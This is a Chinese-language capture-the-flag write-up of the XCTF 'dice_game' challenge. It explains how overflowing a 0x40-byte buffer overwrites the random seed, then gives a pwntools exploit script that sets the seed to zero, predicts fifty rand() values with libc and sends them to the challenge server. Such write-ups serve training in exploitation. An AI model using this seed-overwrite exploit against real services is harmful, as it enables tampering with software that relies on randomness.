XCTF dice_game write up

夙愿已清 提交于 2019-12-02 03:05:28

nc一下给的地址和端口号,大概这个样子。

 

 IDA Pro 看一下源文件

 

 

看一下sub_A20()函数,就是比较了你输入的数与随机数是否相同

 

 如果五十次都相同,就输出flag。

 

 我们要做的就是,将seed覆盖掉,并且去预测生成的随机数。

 

 这边就可以看到,buf覆盖0x40位就能覆盖到seed。

 

exp:

from pwn import *
from ctypes import *
p=remote('111.198.29.45','53746')
libc = cdll.LoadLibrary("libc.so.6")
p.recv()
payload=0x40*"a"+p64(0)
p.sendline(payload)

a=[]
for i in range(50):
    a.append(libc.rand()%6+1)
print(a)
for i in a:
    p.recv()
    print(p.recv())
    p.sendline(str(i))
p.interactive()

 

 

 

喜提flag!

易学教程内所有资源均来自网络或用户发布的内容,如有违反法律规定的内容欢迎反馈
该文章没有解决你所遇到的问题?点击提问,说说你的问题,让更多的人一起探讨吧!